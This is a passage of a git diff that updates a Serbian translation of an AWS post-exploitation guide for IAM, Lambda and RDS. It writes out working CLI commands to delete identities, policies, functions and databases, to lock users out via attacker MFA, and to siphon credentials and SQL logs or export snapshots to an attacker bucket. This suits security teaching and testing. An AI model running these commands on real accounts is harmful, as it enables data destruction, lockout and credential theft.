**dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da pozove ovu Lambda funkciju. +Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da pozove ovu Lambda. -#### S3 kao entitet +#### S3 as principal ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, @@ -73,7 +73,7 @@ Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da } } ``` -Ako je S3 bucket naveden kao principal, pošto S3 buckets nemaju Account ID, ako ste vi **obrisali svoj bucket i attacker ga je kreirao** u svom nalogu, attacker bi to mogao zloupotrebiti. +Ako je S3 bucket naveden kao principal, pošto S3 buckets nemaju Account ID, ukoliko ste **obrisali svoj bucket i attacker ga je kreirao** u svom account-u, onda to mogu zloupotrebiti. #### Nije podržano ```json @@ -84,10 +84,10 @@ Ako je S3 bucket naveden kao principal, pošto S3 buckets nemaju Account ID, ako "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Uobičajen način da se izbegnu problemi Confused Deputy je korišćenje uslova sa `AWS:SourceArn` da bi se proverio ARN porekla. Međutim, **neke usluge možda to ne podržavaju** (npr. CloudTrail prema nekim izvorima). +A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **neke usluge možda to ne podržavaju** (kao CloudTrail prema nekim izvorima). ### Brisanje kredencijala -Sa bilo kojom od sledećih dozvola — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — napadač može ukloniti pristupne ključeve, profile za prijavu, SSH ključeve, servisno-specifične kredencijale, instance profile, sertifikate ili CloudFront javne ključeve, ili razdružiti role iz instance profila. Takve akcije mogu odmah blokirati legitimne korisnike i aplikacije i izazvati denial-of-service ili gubitak pristupa za sisteme koji zavise od tih kredencijala, pa ove IAM dozvole moraju biti strogo ograničene i nadgledane. +Sa bilo kojom od sledećih dozvola — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — napadač može ukloniti pristupne ključeve, profile za prijavu, SSH ključeve, kredencijale specifične za uslugu, instance profile, sertifikate ili CloudFront public keys, ili ukloniti uloge sa instance profila. Takve radnje mogu odmah blokirati legitimne korisnike i aplikacije i prouzrokovati denial-of-service ili gubitak pristupa za sisteme koji zavise od tih kredencijala, zato ove IAM dozvole moraju biti strogo ograničene i nadzirane. ```bash # Remove Access Key of a user aws iam delete-access-key \ @@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \ --ssh-public-key-id APKAEIBAERJR2EXAMPLE ``` ### Brisanje identiteta -Sa dozvolama kao što su `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ili `iam:RemoveUserFromGroup`, entitet može da obriše korisnike, uloge ili grupe — ili da promeni članstvo u grupi — uklanjajući identitete i povezane tragove. Ovo može odmah prekinuti pristup za osobe i servise koji zavise od tih identiteta, uzrokujući denial-of-service ili gubitak pristupa, zato ove IAM akcije moraju biti strogo ograničene i nadzirane. +Sa privilegijama kao što su `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ili `iam:RemoveUserFromGroup`, napadač može obrisati korisnike, role ili grupe — ili promeniti članstvo u grupi — uklanjajući identitete i povezane tragove. Ovo može odmah prekinuti pristup ljudima i servisima koji zavise od tih identiteta, izazivajući denial-of-service ili gubitak pristupa, zato ove IAM akcije moraju biti strogo ograničene i nadgledane. ```bash # Delete a user aws iam delete-user \ @@ -115,7 +115,7 @@ aws iam delete-role \ --role-name ``` ### -Sa bilo kojom od sledećih dozvola — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — akter može da izbriše ili odvoji managed/inline policies, ukloni policy versions ili permissions boundaries, i odvoji politike od korisnika, grupa ili uloga. Ovo uništava autorizacije i može izmeniti model dozvola, prouzrokujući trenutni gubitak pristupa ili denial-of-service za principals koji su zavisili od tih politika, zato ove IAM actions moraju biti strogo ograničene i nadgledane. +Sa bilo kojom od sledećih dozvola — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — akter može da obriše ili odvoji managed/inline politike, ukloni verzije politika ili permissions boundaries, i odveže politike od korisnika, grupa ili rola. Ovo uništava autorizacije i može izmeniti model dozvola, prouzrokujući trenutni gubitak pristupa ili denial-of-service za entitete koji su zavisili od tih politika, zato ove IAM akcije moraju biti strogo ograničene i nadgledane. ```bash # Delete a group policy aws iam delete-group-policy \ @@ -127,8 +127,8 @@ aws iam delete-role-policy \ --role-name \ --policy-name ``` -### Federated Identity Deletion -Sa `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, i `iam:RemoveClientIDFromOpenIDConnectProvider`, napadač može izbrisati OIDC/SAML provajdere identiteta ili ukloniti client ID-e. Ovo prekida federisanu autentifikaciju, onemogućava validaciju tokena i odmah uskraćuje pristup korisnicima i servisima koji se oslanjaju na SSO dok se IdP ili konfiguracije ne obnove. +### Brisanje federisanog identiteta +Sa `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` i `iam:RemoveClientIDFromOpenIDConnectProvider`, akter može obrisati OIDC/SAML provajdere identiteta ili ukloniti client IDs. Ovo prekida federisanu autentikaciju, sprečava validaciju tokena i odmah uskraćuje pristup korisnicima i servisima koji se oslanjaju na SSO dok se IdP ili konfiguracije ne obnove. ```bash # Delete OIDCP provider aws iam delete-open-id-connect-provider \ @@ -138,8 +138,8 @@ aws iam delete-open-id-connect-provider \ aws iam delete-saml-provider \ --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS ``` -### Neovlašćeno omogućavanje MFA -Uz `iam:EnableMFADevice`, napadač može registrovati MFA uređaj na identitet korisnika, sprečavajući legitimnog korisnika da se prijavi. Kada je neovlašćeno omogućen MFA uređaj, korisnik može biti zaključan dok uređaj ne bude uklonjen ili resetovan (napomena: ako je registrovano više MFA uređaja, za prijavu je dovoljan samo jedan, pa ovaj napad neće dovesti do uskraćivanja pristupa). +### Neovlašćena aktivacija MFA +Sa `iam:EnableMFADevice`, napadač može registrovati MFA uređaj na identitet korisnika, sprečavajući legitimnog korisnika da se prijavi. Kada je neovlašćeno MFA omogućeno, korisnik može biti zaključan dok se uređaj ne ukloni ili ne resetuje (napomena: ako je registrovano više MFA uređaja, za prijavu je dovoljan samo jedan, tako da ovaj napad neće onemogućiti pristup). ```bash aws iam enable-mfa-device \ --user-name \ @@ -147,8 +147,8 @@ aws iam enable-mfa-device \ --authentication-code1 123456 \ --authentication-code2 789012 ``` -### Manipulacija metapodacima sertifikata/ključeva -Sa `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, napadač može promeniti status ili metapodatke javnih ključeva i sertifikata. Označavanjem ključeva/sertifikata kao neaktivnih ili izmenom referenci, može prekinuti SSH autentifikaciju, učiniti X.509/TLS validacije nevažećim i odmah ometati servise koji zavise od tih credentials, uzrokujući gubitak pristupa ili dostupnosti. +### Certificate/Key Metadata Tampering +Pomoću `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, napadač može promeniti status ili metapodatke javnih ključeva i sertifikata. Označavanjem ključeva/sertifikata kao neaktivnih ili izmenom referenci, mogu onemogućiti SSH autentifikaciju, poništiti X.509/TLS verifikacije i odmah poremetiti servise koji zavise od tih kredencijala, što dovodi do gubitka pristupa ili dostupnosti. ```bash aws iam update-ssh-public-key \ --user-name \ @@ -159,7 +159,34 @@ aws iam update-server-certificate \ --server-certificate-name \ --new-path /prod/ ``` -## Izvori +### `iam:Delete*` + +IAM wildcard iam:Delete* daje mogućnost uklanjanja mnogih vrsta IAM resursa — korisnika, rola, grupa, politika, ključeva, sertifikata, MFA uređaja, verzija politika itd. — i zbog toga ima veoma veliki domet štete: akter kojem je dodeljen iam:Delete* može trajno uništiti identitete, kredencijale, politike i povezane artefakte, ukloniti revizijske zapise/dokaze i prouzrokovati prekide usluge ili operativne zastoje. Neki primeri su +```bash +# Delete a user +aws iam delete-user --user-name + +# Delete a role +aws iam delete-role --role-name + +# Delete a managed policy +aws iam delete-policy --policy-arn arn:aws:iam:::policy/ +``` +### `iam:EnableMFADevice` + +Akter kojem je dodeljena akcija iam:EnableMFADevice može registrovati MFA uređaj na identitetu u nalogu, pod uslovom da korisnik prethodno nije imao omogućen MFA. Ovo se može iskoristiti za ometanje pristupa korisniku: kada napadač registruje MFA uređaj, legitimni korisnik može biti sprečen da se prijavi zato što ne kontroliše MFA koji je registrovao napadač. + +Ovaj napad uskraćivanja pristupa funkcioniše samo ako korisnik nije imao registrovan MFA; ako napadač registruje MFA uređaj za tog korisnika, legitimni korisnik će biti zaključan iz svih tokova koji zahtevaju taj novi MFA. Ako korisnik već ima jedan ili više MFA uređaja pod svojom kontrolom, dodavanje MFA uređaja pod kontrolom napadača ne blokira legitimnog korisnika — on može nastaviti da se autentifikuje koristeći bilo koji MFA koji već poseduje. + +Da bi omogućio (registrovao) MFA uređaj za korisnika, napadač bi mogao pokrenuti: +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +## Reference - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index ae0bd1f21..fe4c2d66d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -10,15 +10,21 @@ Za više informacija pogledajte: ../../aws-services/aws-lambda-enum.md {{#endref}} -### Exfilrtate Lambda Credentials +### Eksfiltracija Lambda kredencijala -Lambda koristi promenljive okruženja (environment variables) da ubaci kredencijale pri izvršavanju. Ako im možete pristupiti (čitanjem `/proc/self/environ` ili korišćenjem same ranjive funkcije), možete ih iskoristiti. Nalaze se u podrazumevanim imenima varijabli `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, i `AWS_ACCESS_KEY_ID`. +Lambda koristi varijable okruženja da ubaci kredencijale prilikom izvršavanja. Ako možete doći do njih (čitajući `/proc/self/environ` ili koristeći samu ranjivu funkciju), možete ih iskoristiti. Nalaze se u podrazumevanim imenima promenljivih `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`. -Po defaultu, ove će imati pristup za pisanje u cloudwatch log group (čije je ime sačuvano u `AWS_LAMBDA_LOG_GROUP_NAME`), kao i mogućnost kreiranja proizvoljnih log grupa, međutim lambda funkcije često imaju više dozvola dodeljenih u zavisnosti od njihove namene. +Po podrazumevanoj postavci, ovi imaju pristup za upis u cloudwatch log group (čije ime je sačuvano u `AWS_LAMBDA_LOG_GROUP_NAME`), kao i za kreiranje proizvoljnih log grupa, međutim lambda functions često imaju više dodeljenih permisija zasnovanih na njihovoj nameni. +### `lambda:Delete*` +Napadač kome je dodeljen `lambda:Delete*` može obrisati Lambda functions, versions/aliases, layers, event source mappings i druge povezane konfiguracije. +```bash +aws lambda delete-function \ +--function-name +``` ### Steal Others Lambda URL Requests -Ako napadač na neki način uspe da dobije RCE unutar Lambda, moći će da ukrade HTTP zahteve drugih korisnika ka lambda. Ako zahtevi sadrže osetljive informacije (cookies, credentials...) moći će da ih ukrade. +Ako napadač nekako uspe da dobije RCE unutar Lambda funkcije, moći će da ukrade HTTP zahteve drugih korisnika upućene toj funkciji. Ako zahtevi sadrže osetljive informacije (cookies, credentials...) moći će da ih ukrade. {{#ref}} aws-warm-lambda-persistence.md @@ -26,7 +32,7 @@ aws-warm-lambda-persistence.md ### Steal Others Lambda URL Requests & Extensions Requests -Zloupotrebom Lambda Layers moguće je takođe zloupotrebiti extensions i ostvariti perzistenciju u lambda, kao i ukrasti i izmeniti zahteve. +Zloupotrebom Lambda Layers moguće je zloupotrebiti extensions i ostvariti trajnu prisutnost u Lambda funkciji, kao i ukrasti i izmeniti zahteve. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -34,7 +40,7 @@ Zloupotrebom Lambda Layers moguće je takođe zloupotrebiti extensions i ostvari ### AWS Lambda – VPC Egress Bypass -Prinuđivanje Lambda funkcije da izađe iz ograničenog VPC ažuriranjem njene konfiguracije sa praznim VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcija će potom raditi u Lambda-managed networking plane, ponovo dobijajući izlazni internet pristup i zaobilaženje egress kontrola koje nameću privatni VPC subneti bez NAT. +Prisilite Lambda funkciju da izađe iz ograničenog VPC-a tako što ćete ažurirati njenu konfiguraciju sa praznim VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcija će potom raditi u Lambda-upravljanoj mrežnoj ravni, ponovo dobijajući izlazni pristup internetu i zaobilazeći egress kontrole koje sprovode privatni VPC subnetsi bez NAT. {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -Iskoristite `lambda:PutRuntimeManagementConfig` da pinujete funkciju na određenu verziju runtime-a (Manual) ili zamrznete ažuriranja (FunctionUpdate). Ovo održava kompatibilnost sa zlonamernim layers/wrappers i može zadržati funkciju na zastarelom, ranjivom runtime-u kako bi se olakšala eksploatacija i dugoročna perzistencija. +Zloupotrebite `lambda:PutRuntimeManagementConfig` da zakačite funkciju na konkretnu verziju runtime-a (Manual) ili da zamrznete ažuriranja (FunctionUpdate). Ovo održava kompatibilnost sa malicioznim layers/wrappers i može zadržati funkciju na zastarelom, ranjivom runtime-u, što olakšava eksploataciju i dugoročnu prisutnost. {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -Iskoristite napredne logging kontrole `lambda:UpdateFunctionConfiguration` da preusmerite logove funkcije u CloudWatch Logs log group po izboru napadača. Ovo funkcioniše bez menjanja koda ili execution role (većina Lambda rola već uključuje `logs:CreateLogGroup/CreateLogStream/PutLogEvents` preko `AWSLambdaBasicExecutionRole`). Ako funkcija ispisuje tajne/tela zahteva ili se sruši sa stack trace-ovima, možete ih prikupiti iz nove log grupe. +Zloupotrebite napredne kontrole logovanja `lambda:UpdateFunctionConfiguration` da preusmerite logove funkcije u CloudWatch Logs log group po izboru napadača. Ovo radi bez menjanja koda ili execution role (većina Lambda rola već uključuje `logs:CreateLogGroup/CreateLogStream/PutLogEvents` putem `AWSLambdaBasicExecutionRole`). Ako funkcija ispisuje tajne/tela zahteva ili se ruši sa stack trace-ovima, možete ih prikupiti iz nove log grupe. {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Pretvorite privatni Lambda Function URL u javni neautentifikovani endpoint tako što ćete promeniti Function URL AuthType na NONE i priložiti resource-based policy koji dodeljuje lambda:InvokeFunctionUrl svima. Ovo omogućava anonimno pozivanje internih funkcija i može otkriti osetljive backend operacije. +Pretvorite privatni Lambda Function URL u javni neautentifikovani endpoint tako što ćete promeniti Function URL AuthType u NONE i priložiti resource-based policy koji dodeljuje lambda:InvokeFunctionUrl svima. Ovo omogućava anonimno pozivanje unutrašnjih funkcija i može izložiti osetljive backend operacije. {{#ref}} aws-lambda-function-url-public-exposure.md @@ -66,7 +72,7 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -Iskoristite `UpdateEventSourceMapping` da promenite ciljnu Lambda funkciju postojeće Event Source Mapping (ESM) tako da zapisi iz DynamoDB Streams, Kinesis, ili SQS budu isporučeni funkciji pod kontrolom napadača. Ovo tiho preusmerava žive podatke bez diranja producenata ili originalnog koda funkcije. +Zloupotrebite `UpdateEventSourceMapping` da promenite ciljnu Lambda funkciju postojeće Event Source Mapping (ESM) tako da zapisi iz DynamoDB Streams, Kinesis ili SQS budu isporučeni funkciji pod kontrolom napadača. Ovo tiho preusmerava žive podatke bez diranja proizvođača ili originalnog koda funkcije. {{#ref}} aws-lambda-event-source-mapping-hijack.md @@ -74,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md ### AWS Lambda – EFS Mount Injection data exfiltration -Iskoristite `lambda:UpdateFunctionConfiguration` da prikačite postojeći EFS Access Point na Lambda, zatim deploy-ujte trivijalni kod koji nabraja/čita fajlove iz mount-ovane putanje kako biste exfiltrate-ovali deljene tajne/konfiguracije kojima funkcija ranije nije mogla da pristupi. +Zloupotrebite `lambda:UpdateFunctionConfiguration` da prikačite postojeći EFS Access Point na Lambda funkciju, zatim deploy-ujte trivialan kod koji listа/čita fajlove sa mount-ovane putanje kako biste eksfiltrirali deljene tajne/konfiguracije kojima funkcija ranije nije mogla pristupiti. {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 56e431812..82b567172 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -12,7 +12,7 @@ Za više informacija pogledajte: ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Ako napadač ima dovoljno dozvola, može da učini **DB javno dostupnim** kreiranjem snapshot-a baze podataka, a zatim kreiranjem javno dostupne DB iz tog snapshot-a. +Ako napadač ima dovoljno dozvola, može da učini **DB javno dostupnim** kreiranjem snapshot-a DB-a, a zatim iz snapshot-a napravi javno dostupnu DB instancu. ```bash aws rds describe-db-instances # Get DB identifier @@ -38,11 +38,47 @@ aws rds modify-db-instance \ # Connect to the new DB after a few mins ``` +### `rds:StopDBCluster` & `rds:StopDBInstance` +Napadač koji ima rds:StopDBCluster ili rds:StopDBInstance može primorati na trenutno zaustavljanje RDS instance ili celog klastera, što dovodi do nedostupnosti baze podataka, prekinutih konekcija i prekida procesa koji zavise od baze podataka. + +Da biste zaustavili jednu DB instancu (primer): +```bash +aws rds stop-db-instance \ +--db-instance-identifier +``` +Da biste zaustavili ceo DB cluster (primer): +```bash +aws rds stop-db-cluster \ +--db-cluster-identifier +``` +### `rds:Delete*` + +Napadač kojem je dodeljen rds:Delete* može ukloniti RDS resurse — brišući DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups i povezane artefakte — što može izazvati trenutni prekid usluge, gubitak podataka, uništenje tačaka oporavka i gubitak forenzičkih dokaza. +```bash +# Delete a DB instance (creates a final snapshot unless you skip it) +aws rds delete-db-instance \ +--db-instance-identifier \ +--final-db-snapshot-identifier # omit or replace with --skip-final-snapshot to avoid snapshot + +# Delete a DB instance and skip final snapshot (more destructive) +aws rds delete-db-instance \ +--db-instance-identifier \ +--skip-final-snapshot + +# Delete a manual DB snapshot +aws rds delete-db-snapshot \ +--db-snapshot-identifier + +# Delete an Aurora DB cluster (creates a final snapshot unless you skip) +aws rds delete-db-cluster \ +--db-cluster-identifier \ +--final-db-snapshot-identifier # or use --skip-final-snapshot +``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Napadač sa ovim dozvolama može **napraviti snapshot DB-a** i učiniti ga **javno** **dostupnim**. Zatim, može u svom nalogu kreirati DB iz tog snapshot-a. +Napadač sa ovim permisijama bi mogao **kreirati snapshot DB-a** i učiniti ga **javno** **dostupnim**. Zatim bi mogao u svom nalogu jednostavno kreirati DB iz tog snapshot-a. -Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje može učiniti **ostale** kreirane snapshot-e **javnim**. +Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje bi mogao da učini **druge** kreirane snapshot-ove **javnim**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Napadač sa dozvolom `rds:DownloadDBLogFilePortion` može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili pristupne akreditive slučajno zabeleženi u logu, napadač bi potencijalno mogao iskoristiti te informacije da poveća svoje privilegije ili izvrši neovlašćene radnje. +Napadač sa `rds:DownloadDBLogFilePortion` dozvolom može **preuzeti delove log fajlova RDS instance-a**. Ako su osetljivi podaci ili pristupne akreditive slučajno zabeleženi u logovima, napadač bi mogao da iskoristi te informacije za eskalaciju privilegija ili za izvođenje neovlašćenih radnji. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Potencijalni uticaj**: Pristup osetljivim informacijama ili neovlašćene radnje korišćenjem leaked credentials. +**Potential Impact**: Pristup osetljivim informacijama ili neovlašćene radnje korišćenjem leaked credentials. ### `rds:DeleteDBInstance` -Napadač sa ovim dozvolama može **DoS postojeće RDS instance**. +Napadač sa ovim dozvolama može naneti **DoS postojećim RDS instancama**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Potential impact**: Brisanje postojećih RDS instanci i potencijalni gubitak podataka. +**Potencijalni uticaj**: Brisanje postojećih RDS instanci i potencijalni gubitak podataka. ### `rds:StartExportTask` > [!NOTE] > TODO: Testirati -Napadač sa ovom dozvolom može **izvesti snapshot RDS instance u S3 bucket**. Ako napadač kontroliše odredišni S3 bucket, može potencijalno pristupiti osetljivim podacima unutar izvezenog snapshota. +Napadač sa ovom dozvolom može **eksportovati snapshot RDS instance u S3 bucket**. Ako napadač ima kontrolu nad odredišnim S3 bucket-om, može potencijalno pristupiti osetljivim podacima unutar izvezenog snapshot-a. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Potencijalni uticaj**: Pristup osetljivim podacima u eksportovanom snapshot-u. +**Potencijalni uticaj**: Pristup osetljivim podacima u izvezenom snapshotu. -### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Replikacija automatizovanih backup-a između regija za prikrivenu obnovu (`rds:StartDBInstanceAutomatedBackupsReplication`) -Abuse cross-Region automated backups replication da tiho duplirate automated backups RDS instance u drugu AWS Region i obnovite ih tamo. Napadač potom može učiniti vraćenu DB javno dostupnom i resetovati master lozinku kako bi pristupio podacima van nadzora u Regionu koji odbrambeni timovi možda ne prate. +Iskoristite replikaciju automatizovanih backup-a između regija da tiho duplirate automatizovane backup-e RDS instance u drugu AWS regiju i tamo ih obnovite. Napadač potom može učiniti obnovljenu DB instancu javno dostupnom i resetovati master lozinku kako bi pristupio podacima izvan nadzora u regiji koju odbrambeni tim možda ne prati. Potrebne dozvole (minimum): -- `rds:StartDBInstanceAutomatedBackupsReplication` u odredišnoj regiji -- `rds:DescribeDBInstanceAutomatedBackups` u odredišnoj regiji -- `rds:RestoreDBInstanceToPointInTime` u odredišnoj regiji -- `rds:ModifyDBInstance` u odredišnoj regiji -- `rds:StopDBInstanceAutomatedBackupsReplication` (opciono čišćenje) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (da izložite vraćenu DB) +- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region +- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region +- `rds:RestoreDBInstanceToPointInTime` in the destination Region +- `rds:ModifyDBInstance` in the destination Region +- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB) -Uticaj: Održavanje pristupa i eksfiltracija podataka vraćanjem kopije produkcijskih podataka u drugu regiju i javnim izlaganjem sa kredencijalima pod kontrolom napadača. +Uticaj: Održavanje pristupa i iznošenje podataka obnavljanjem kopije produkcijskih podataka u drugu regiju i javnim izlaganjem uz akreditive pod kontrolom napadača.
-End-to-end CLI (zamenite placeholder-e) +Kompletan CLI primer (zamenite rezervisane vrednosti) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### Omogućite kompletno SQL logovanje preko DB parameter grupa i eksfiltrirajte putem RDS log API-ja +### Omogućite kompletno SQL logovanje putem DB parameter groups i eksfiltrujte putem RDS log APIs -Iskoristite `rds:ModifyDBParameterGroup` zajedno sa RDS log download API-ima da zabeležite sve SQL naredbe koje aplikacije izvršavaju (nisu potrebni kredencijali za DB engine). Omogućite engine SQL logging i preuzmite fajl logova preko `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (ili REST `downloadCompleteLogFile`). Korisno za prikupljanje upita koji mogu sadržati tajne/PII/JWTs. +Iskoristite `rds:ModifyDBParameterGroup` zajedno sa RDS log download APIs da biste uhvatili sve SQL izjave koje aplikacije izvršavaju (nije potrebna DB engine credentials). Omogućite engine SQL logging i preuzmite fajl logove putem `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (ili REST `downloadCompleteLogFile`). Korisno za prikupljanje upita koji mogu sadržati secrets/PII/JWTs. -Potrebne dozvole (minimum): +Permissions needed (minimum): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (samo za pridruživanje prilagođenog parameter group-a ako instance koristi default) -- `rds:RebootDBInstance` (za parametre koji zahtevaju reboot, npr. PostgreSQL) +- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) +- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) -Koraci +Steps 1) Recon target i trenutni parameter group ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) Osigurajte da je prikačen prilagođeni DB parameter group (podrazumevani se ne može menjati) -- Ako instanca već koristi prilagođenu grupu, koristite isto ime u sledećem koraku. -- U suprotnom, kreirajte i prikačite grupu koja odgovara porodici DB engine-a: +2) Uverite se da je prikačen prilagođeni DB parameter group (podrazumevani se ne može menjati) +- Ako instanca već koristi prilagođeni DB parameter group, upotrebite njegovo ime u sledećem koraku. +- U suprotnom kreirajte i prikačite jedan koji odgovara engine family: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Neka workload radi (ili generišite upite). SQL statements biće zapisane u engine file logs +4) Neka workload radi (ili generišite upite). SQL izjave će biti upisane u engine file logs - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) Otkrijte i preuzmite logs (nije potrebna DB creds) +5) Otkrijte i preuzmite logove (bez DB kredencijala) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -239,14 +275,14 @@ aws rds download-db-log-file-portion \ ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` -Primer dokaza (redigovano): +Primer dokaza (cenzurisano): ```text 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` Čišćenje -- Vratite parametre na podrazumevane vrednosti i ponovo pokrenite sistem ako je potrebno: +- Vrati parametre na podrazumevane vrednosti i restartuj ako je potrebno: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,11 +297,11 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Uticaj: Post-exploitation pristup podacima hvatanjem svih aplikacionih SQL izjava putem AWS API-ja (bez DB creds), potentially leaking secrets, JWTs, and PII. +Uticaj: Post-exploitation pristup podacima presretanjem svih SQL 